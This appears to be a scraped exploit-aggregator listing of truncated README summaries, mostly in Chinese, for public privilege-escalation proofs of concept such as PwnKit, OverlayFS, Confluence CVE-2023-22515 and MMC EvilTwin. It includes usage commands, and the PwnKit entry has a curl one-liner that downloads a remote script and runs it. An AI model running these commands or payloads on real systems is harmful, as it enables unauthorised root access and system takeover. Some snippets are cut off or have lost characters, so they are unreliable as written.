MSC-EvilTwin-Local-Privilege-Escalation

CVE-2025-26633 - Microsoft 管理控制台 .msc EvilTwin 本地权限提升 PoC 披露时为零日漏洞（2025年3月） – 已被 Water Gamayun APT 在野积极利用 仅限授权安全测试和研究使用 漏洞详情 漏洞利用标题 ：Microsoft 管理控制台 MMC - MSC EvilTwin 本地权限提升 / 任意代码执行 CVE ：CVE-2025-26633 CVSS v3.1 ：7.8（高危）– AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 受影响系统 ： Windows 10（所有版本） Windows...

CVE-2023-22515

CVE-2023-22515 Confluence Data Center & Server 权限提升漏洞 Exploit 使用方法 root@kitploit: python3 CVE-2023-22515.py url username password 免责声明 检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿对任何外部计算机系统进行入侵攻击，不得用于任何非授权形式的安全测试。仅提供技术交流，不对工具造成任何理论上的或实际上的损失承担责任。...

harbor-give-me-admin

harbor添加管理员漏洞检测工具 0x00 概述 201909 harbor爆出可利用注册功能添加管理员漏洞，利用注册接口api/users，构造post参数"hasadminrole":true，可直接添加管理员。 本工具支持单个url或批量检测。 0x01 需求 python2.7 pip install requests 0x02 快速开始 使用帮助: python harbor-give-me-admin.py -h 单url检测: python harbor-give-me-admin.py -u "https://www.xxx.com/"...

CVE-2014-3153

Towelroot for Ubuntu x86 该exp已在Ubuntu 14.04 x86和Ubuntu 12.04.2 x86上成功测试。 学习CVE-2014-3153和towelroot。 直到版本3.14的内核使用rbtree来存储rtwaiter（而不是plistnode），更复杂！ IA与ARM有不同的threadinfo！！ 源代码来自geekben/towelroot和timwr/CVE-2014-3153 Compile and run root@kitploit: $ gcc -fno-stack-protector -m32 -O0 -pthread...

CVE-2019-19268

CVE-2019-19268 受影响版本：rConfig 3.9.2。 描述 由于配置错误，rConfig v3.9.2 中存在多个攻击向量，允许本地用户通过 sudo 执行 root 命令。 发现者 dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 电子邮件: [email protected] rConfig 3.9.2 的 sudo 配置让 apache 用户可以以 root 身份执行 /usr/bin/zip、/bin/chmod 和 /usr/bin/tail 程序。结合...

CVE-2009-4049

CVE-2009-4049 avast! Home and Professional 4.8.1356.0 中 aswRdr.sys（即 TDI RDR 驱动程序）存在基于堆的缓冲区溢出漏洞，允许本地用户通过向 IOCTL 0x80002024 提供精心构造的参数导致拒绝服务（内存损坏）或可能提升权限。 虽然未完成此漏洞的部分原因是纯粹的懒惰，但表面上它似乎不可利用。它可以实现本地拒绝服务条件，但似乎无法控制内存内容。根据我的测试，唯一可以控制的因素是字符串扫描循环迭代次数。输出缓冲区似乎也没有传递数据。...

CVE-2020-0796

CVE-2020-0796 整数溢出漏洞 在OriginalCompressedSegmentSize字段中放入比可存储值更大的值。变量无法承受该值，导致被意外识别为非常小的数或负数。此时程序可能发生意外行为，例如蓝屏或权限提升。 简单来说，就是故意向某个变量中放入超过其承受能力的较大值。 演示视频 https://github.com/user-attachments/assets/2b897cfd-6009-4de8-9638-8a9bace6ec7e 参考...

overlayFS-CVE-2021-3493

overlayFS CVE-2021-3493 OverlayFs OverlayFS 是 Linux 内核的一个模块，允许系统将多个挂载点合并为一个，从而能够在一个目录结构中访问每个挂载点中的所有文件。 关于漏洞 近日，SSD-Discloure 发布了一个针对 Ubuntu 内核漏洞的 PoC 链接。 此漏洞非常严重，因为 OverlayFS 在 Ubuntu 1804 Server 中是默认安装的。 如果该系统存在漏洞，可以轻松提权至 root 用户。但前提是您能够执行二进制文件。 如我们所见，SSH 服务器上安装了 C 编译器。我们用它来编译，然后执行。此时我们就已经是 root...

CVE-2022-24924

LiveWallpaperService 中的不当访问控制漏洞 CVE-2022-24924SVE-2021-24089 测试的 Windows 版本：Windows 10 20H2 Build 19042.1348 64位 Live Wallpaper 版本：3.0.9.0 或更早 三星笔记本电脑中默认运行的 LiveWallpaperService 存在一个漏洞，该漏洞在 SYSTEM 服务中以 SYSTEM 权限创建了一个目录。 Live Wallpaper 通常预装在三星笔记本电脑中，但也作为应用可从 Microsoft Store 获取。该应用以用户权限运行，并通过命名管道 I...

CVE-2024-55968

CVE-2024-55968 POC de explotación de LPE para CVE-2024-55968 Descripción de la vulnerabilidad El servicio com.dtexsystems.helper, responsable de manejar operaciones privilegiadas dentro del agente macOS DTEX Event Forwarder, no implementa una validación crítica del cliente durante la comunicación...

Windows_AFD_LPE_CVE-2023-21768

CVE-2023-21768 本地权限提升 PoC 作者：chompie & b33f 复现文章：hlingxbm 仅用于演示目的。完整漏洞利用适用于易受攻击的 Windows 11 22H2 系统。 写入原语适用于所有易受攻击的系统。 用法： root@kitploit: WindowsAFDLPECVE-2023-21768.exe 其中 是要提权的进程 ID（十进制）。 执行后应使目标进程提升至 SYSTEM 权限。 I/O Ring LPE 原语代码基于 Yarden Shafir 的 I/ORing R/W PoC。 博客文章即将发布，届时将更新此仓库。...

CVE-2019-1064

CVE-2019-1064 CVE-2019-1064 - AppXSVC 本地权限提升 看来这个问题可能并未像预期那样被完全修复。PoC 暂时不可用...

MagiskEoP

简介 这是 Magisk 应用中一个针对漏洞 CVE-2024-48336 的利用程序，允许本地应用在未经用户同意的情况下静默获取 root 权限。 该漏洞最初由 @vvb2060 报告，并由 @canyie 编写了 PoC。该漏洞已在 Canary 27007 版本中修复。 利用此漏洞静默获取 root 权限并向任意应用授予 root 权限的演示视频：https://github.com/canyie/MagiskEoP/blob/main/screen-20220302-093745.mp4 复现此漏洞的步骤： 1. 在没有预装 GMS 的设备上安装存在漏洞的 Magisk 应用构建...

CVE-2021-44217

CVE-2021-44217 建议描述 在 Ericsson CodeChecker 直至 6.18.0 版本中， 报告查看器的评论组件存在存储型跨站脚本 XSS 漏洞， 允许远程攻击者通过 /CodeCheckerService API 的 POST JSON 数据注入任意 Web 脚本或 HTML。 附加信息 CodeChecker Web 服务器具有权限系统，可隔离具有不同权限的用户。 并且它还将每个用户的 cookie 存储在 document.cookie 中。 因此，低权限攻击者（例如访客账户）可以利用此漏洞窃取超级用户的秘密 cookie 或 通过控制受害者请求某些数据获取...

CVE-2025-25614

CVE-2025-25614 Unifiedtransform v2.0 中的访问控制不当导致权限提升，允许教师更新其他教师的个人数据。 厂商: Unifiedtransform PoC 步骤 1: 以教师身份登录应用程序。 步骤 2: 访问以下端点: /teachers/edit/3 步骤 3: 更改详细信息并点击保存。 影响: 这允许对其他教师的数据进行未经授权的修改，而通常只有管理员才能访问。这可能导致严重的数据完整性问题以及未授权的权限提升。 漏洞类型: 访问控制不当 攻击类型: 远程 影响: 权限提升 攻击向量: 受损的访问控制允许教师修改其他教师的数据。 发现者: Armaa...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit 针对CVE-2021-4034的自包含利用程序 - Pkexec本地权限提升 用法 在基于Ubuntu、Debian、Fedora和CentOS的易受攻击Linux发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chm...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - 权限提升 ./exploit.sh CVE-2022-37706 正在尝试查找易受攻击的SUID文件... 这可能需要几秒钟... + 发现易受攻击的SUID二进制文件！ + 正在尝试弹出root shell！ + 享受root shell吧 : mount: /dev/../tmp/: 在 /etc/fstab 中找不到。 id uid=0root gid=0root groups=0root,4adm,1000...

CVE-2017-5123

CVE-2017-5123 漏洞概述 Linux 内核中的 Waitid 系统调用未验证所使用的目标地址。此缺陷可允许拥有本地权限的用户写入内核内存区域，可能导致设备上的权限提升或沙箱逃逸。 漏洞描述 漏洞分类 权限提升 沙箱逃逸（Chrome） 漏洞代码 kernel/exit.c root@kitploit: SYSCALLDEFINE5waitid, int, which, pidt, upid, struct siginfo user , infop, int, options, struct rusage user , ru struct rusage r; struct...

CVE-2025-25369

CVE-2025-25369：ZKTeco ZKBio CVSecurity v.6.4.1 中的跨站脚本（XSS）漏洞 在 ZKBio CVSecurity v.6.4.1 中发现了一个 XSS 漏洞。 拥有模板编辑器权限的攻击者可利用该漏洞，并将权限提升至管理员。 同时还实现了对内置 WAF 的绕过。 这可能导致系统被完全攻陷。 受影响版本：ZKBio CVSecurity = v.6.4.1 修复于：- CVSS 评分： 4.3（低危） 向量： CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L 受影响组件：...

CVE-2021-21389

CVE-2021-21389 BuddyPress 7.2.1 - REST API 权限提升至 RCE PoC（完整） 受影响的版本：5.0.0 至 7.2.0 用户要求：订阅者用户 方法：通过 REST API 将权限提升至管理员并触发 RCE 端点：/v1/members/me 端点。 如何使用 Docker root@kitploit: git clone https://github.com/HoangKien1020/CVE-2021-21389 cd CVE-2021-21389/ docker build . -t...